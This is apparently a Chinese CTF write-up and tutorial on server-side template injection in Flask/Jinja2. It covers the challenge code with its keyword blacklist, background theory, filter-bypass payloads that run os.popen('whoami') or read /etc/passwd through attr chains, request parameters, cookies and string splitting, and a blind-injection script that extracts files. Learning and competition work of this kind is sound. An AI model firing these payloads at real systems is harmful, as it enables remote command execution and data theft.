由SSTI模板注入漏洞想到的

前些日子参加了第十八届信息安全竞赛,其中有到最近很流行的Web题——SSTI模板注入漏洞,先完成一下题解,再做一些联想。

登陆靶场,打开后发现是标准的python Flask框架下的模板注入问题。

from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)


@app.route('/', methods=["GET"])
def source():
    with open(__file__, 'r', encoding='utf-8') as f:
        return '<pre>' + html.escape(f.read()) + '</pre>'


@app.route('/', methods=["POST"])
def template():
    template_code = request.form.get("code")
    # 安全过滤
    blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
    for black in blacklist:
        if black in template_code:
            return "Forbidden content detected!"
    result = render_template_string(template_code)
    print(result)
    return 'ok' if result is not None else 'error'


class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()


def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()


def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)


if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    # 安全反代,防止针对响应头的攻击
    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()

    print("Starting Flask app...")
    run_flask_app()

仔细读暴露出来的源码,发现注入点是以POST请求发送的code参数值,以post请求发送code=1,回显ok,说明注入点在此。

同时采用了黑名单过滤机制,将'__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', 'r', 'n'等常用构造payload参数进行过滤,需要构造绕过语句。

针对过滤“__”,我们可以采用 _*2的方式进行绕过;针对关键词过滤,我们可以采用拼接绕过的方式进行绕过;同时表达式用{%%}包裹进行转义;最后再访问一下app.py.

综上,我们构造了绕过语句,

![image-20241217164629623](C:UsersAdministratorAppDataRoamingTyporatypora-user-imagesimage-20241217164629623.png)

SSTI漏洞基本原理

SSTI(Server-Side Template Injection)是一种发生在服务器端模板中的漏洞。当应用程序接受用户输入并将其直接传递到模板引擎中进行解析时,如果未对用户输入进行充分的验证和过滤,攻击者可以通过构造恶意的输入来注入模板代码,导致服务器端模板引擎执行恶意代码。
![image-20250224195319898](D:tyOWASPSSTIimage-20250224195319898.png)

聊这个漏洞前可以先了解一下现在最流行的软件设计架构MVC,分为MODEL、Controller和View三层。

Mvc的处理过程是由控制器是接收业务请求,并决定调用那个模型来进行处理,然后模型业务逻辑来处理用户的请求并返回数据,最后控制器用相应的视图格式化模型返回的数据,并通过视图层呈现给用户。

也可以理解为,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户,SSTI模板注入漏洞正是发生于最后一个阶段。

服务端接收了用户的输入后,未经过滤或处理就将其作为Web应用模板的一部分,模板引擎在进行渲染的过程中,执行了用户插入的恶意破坏语句,从而可能导致信息泄露、远程代码执行等问题。

![af1dcf3d6088865ed97ff080b4118b3f](D:tyOWASPSSTIaf1dcf3d6088865ed97ff080b4118b3f.png)

当今各个流行的编程语言基本都有其模板引擎,PHP中有Twig、Smarty、Blade等;Java中有Velocity、FreeMarker等;Python中有Django、Jinja2等。每个模板引擎都有其对应的语法,这里主要分析Jinja2模板引擎。

Jinja2模板引擎

Jinja2是Flask框架的一部分,是一种面向Python的现代和设计友好的轻量型模板语言,它是以Django的模板为模型的。

{% ... %} for Statements 可以用来声明变量,当然也可以用于循环语句和条件语句

{{ ... }} for Expressions to print to the template output 用于将表达式打印到模板输出

{# ... #} for Comments not included in the template output 表示未包含在模板输出中的注释

"##"for Line Statements 可以有和{%%}相同的效果

{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句

在常见的测试中,当我们将表达式直接打印输出,如:{{2*2}},输出为4时,我们即可判定其为该模板类型,或存在SSTI注入漏洞。

魔术方法

class :返回类型所属的对象
mro :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base :返回该对象所继承的父类
mro :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
init 类的初始化方法
globals 对包含(保存)函数全局变量的字典的引用

通常情况下,在进行 Jinja2 模板注入(SSTI)攻击时,我们会利用模板语法中的对象访问能力,通过魔术方法(如 __class__、__mro__、__subclasses__)来遍历 Python 的类继承体系,从而查找能够执行系统命令的类或函数。我们通常会尝试找到如 subprocess.Popen 或 os.system 等可以执行系统指令的接口,并通过构造 Payload 调用这些函数来执行危险指令,达到远程命令执行等攻击目的。

SSTI绕过

过滤了 .

我们可以通过[],attr(),getattr()来绕过点

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}

过滤了‘’和“”

flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过

GET方式,利用request.args传递参数

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST方式,利用request.values传递参数

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
post:arg1=open&arg2=/etc/passwd

Cookie方式,利用request.cookies传递参数

{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
Cookie:arg1=open;arg2=/etc/passwd

过滤了_

可以使用八进制或十六进制编码绕过,_编码后为x5f,.编码后为x2E

过滤了关键字

过滤了关键字,我们可以采用拼接、反转或双写进行绕过

拼接: class --> "cl"+"ass"

反转:class --> "ssalc"[::-1]

在jinjia2里面, + 可以省略,"class"等同于"cla""ss"等同于"cla"+"ss"

{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

或者可以使用join来进行拼接

{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

当然还有诸多过滤以及反过滤技巧,这里不过多赘述,遇到不会的要勤查手册,多向大牛学习。

盲注脚本

现在有诸多工具可以对SSTI漏洞进行检测,当然我们也可以写脚本进行自动化找类或者盲注,如p牛师傅的版本

import requests

url = 'http://ip:5000/?name='

def check(payload):
    r = requests.get(url+payload).content
    return 'kawhi' in r

password  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in range(0,100):
    for c in s:
        payload = '{% if ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}kawhi{% endif %}'
        if check(payload):
            password += c
            break
    print(password)

更多联想

在学习到魔术方法的时候觉得特别眼熟,像在之前的JavaScript学习中见到过他们的身影。如所有类都继承于Object类,也有类的传递等。

现在看来JavaScript也是一种模板引擎,一切学习都是有相似,要融汇贯通。